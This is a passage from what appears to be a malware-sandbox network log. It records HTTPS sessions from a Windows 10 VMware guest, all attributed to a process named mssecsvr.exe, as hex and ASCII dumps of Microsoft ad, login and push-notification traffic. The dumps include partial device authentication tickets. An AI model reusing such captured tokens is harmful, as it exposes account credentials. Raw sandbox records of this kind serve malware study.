fgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: mgz54+09ikKwYzUV.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 13:43:02 UTC	2	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: CgAQ5BLNUzM1HQMhnTVosPCZZs0r0LW6ItKm86t+dy5M8h2TUFpMFgmbeVEcZhRD7Ns1BmofJwnStviMC1bmtMmUV2ZKlR8ERYqwaA6r/5g+2tQh5yIAiy/U6oXj2aFU76RynIGzNwhARAevyZWoq32mU+2ozQKP8x+YVJhdsTH8SxYippkDbjvHk/8UJ3p0WpLPv8PJAV51LZ820TQzlMAHLb8u3OyLThGUuo7rJVVtoEw5nQUU4H3+3UWlBByN8fZjwiKoxsV5+KxmddVg9XN+XT4O2WJDjKrmDAhFNHjt6Ur4CvmBGsbZMfoEZ9z3NLZd1VrRe7MNlGINxVtfVw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:43:01 GMT Connection: close
2022-07-20 13:43:02 UTC	3	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 31 37 3a 34 33 3a 30 32 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T17:43:02"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	50224	20.190.159.72	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:48 UTC	125	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4794 Host: login.live.com
2022-07-20 13:43:48 UTC	125	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 13:43:48 UTC	140	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 13:42:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 912a4f59-d337-4ed5-9aff-6b9f85c6b1ee PPServer: PPV: 30 H: BL02EPF000016C8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 13:43:48 GMT Connection: close Content-Length: 11069
2022-07-20 13:43:48 UTC	141	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.7	55617	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:09 UTC	8787	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224552Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:09 UTC	8788	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 07fa2903-223d-4045-a35c-b8815941a445 Date: Wed, 20 Jul 2022 13:46:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.7	55696	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:09 UTC	8788	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224553Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:09 UTC	8789	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 6a88866d-3f03-455c-a1ee-6ba8fbbfc53a Date: Wed, 20 Jul 2022 13:46:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.7	55697	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:09 UTC	8789	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224554Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:09 UTC	8789	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 52982aa1-99d6-4ed2-9595-f428245772a5 Date: Wed, 20 Jul 2022 13:46:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.7	55699	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:09 UTC	8790	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224555Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:09 UTC	8790	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: e0150cfd-b28b-451f-af20-8deb6c8bc3e8 Date: Wed, 20 Jul 2022 13:46:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.7	55700	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:10 UTC	8790	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224556Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:10 UTC	8791	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d942d988-4b43-4bf7-b2e4-1eb018ff240d Date: Wed, 20 Jul 2022 13:46:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.7	55740	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:10 UTC	8791	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224557Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:46:10 UTC	8792	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 7d26f6b4-06a0-43ed-86ad-1ce2f6da86e4 Date: Wed, 20 Jul 2022 13:46:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.7	56075	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:14 UTC	8792	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 36 64 36 35 39 35 65 65 35 66 63 32 38 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 926d6595ee5fc28a
2022-07-20 13:46:14 UTC	8792	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:46:14 UTC	8792	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 36 64 36 35 39 35 65 65 35 66 63 32 38 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: 926d6595ee5fc28a<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:46:14 UTC	8793	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 36 64 36 35 39 35 65 65 35 66 63 32 38 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 926d6595ee5fc28a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:46:14 UTC	8793	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:46:14 UTC	8793	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 64 30 75 6e 32 76 75 66 6b 75 61 4b 4a 74 6b 6b 54 6a 38 58 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Ld0un2vufkuaKJtkkTj8XA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.7	56766	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:46:24 UTC	8793	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 66 35 62 36 37 63 62 65 65 39 33 66 35 64 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 6f5b67cbee93f5d5
2022-07-20 13:46:24 UTC	8793	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:46:24 UTC	8794	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 66 35 62 36 37 63 62 65 65 39 33 66 35 64 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: 6f5b67cbee93f5d5<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:46:24 UTC	8795	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 66 35 62 36 37 63 62 65 65 39 33 66 35 64 35 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 6f5b67cbee93f5d5
2022-07-20 13:46:24 UTC	8795	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:46:24 UTC	8795	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 57 48 4c 56 72 74 31 6c 45 61 78 4c 7a 65 79 49 75 34 64 6b 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: SWHLVrt1lEaxLzeyIu4dkQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.7	59915	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:47:04 UTC	8795	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 36 62 65 38 36 62 62 37 30 63 37 38 30 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: d16be86bb70c780f
2022-07-20 13:47:04 UTC	8795	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:47:04 UTC	8795	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 36 62 65 38 36 62 62 37 30 63 37 38 30 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: d16be86bb70c780f<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:47:04 UTC	8796	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 36 62 65 38 36 62 62 37 30 63 37 38 30 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: d16be86bb70c780f
2022-07-20 13:47:04 UTC	8796	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:47:04 UTC	8796	IN	Data Raw: 4d 53 2d 43 56 3a 20 4d 4f 72 35 79 73 34 6f 34 45 4f 61 69 70 54 64 74 6d 46 48 33 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: MOr5ys4o4EOaipTdtmFH3g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.7	63887	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:47:46 UTC	8796	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 64 31 36 30 32 64 63 66 32 66 34 63 62 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: c1d1602dcf2f4cb1
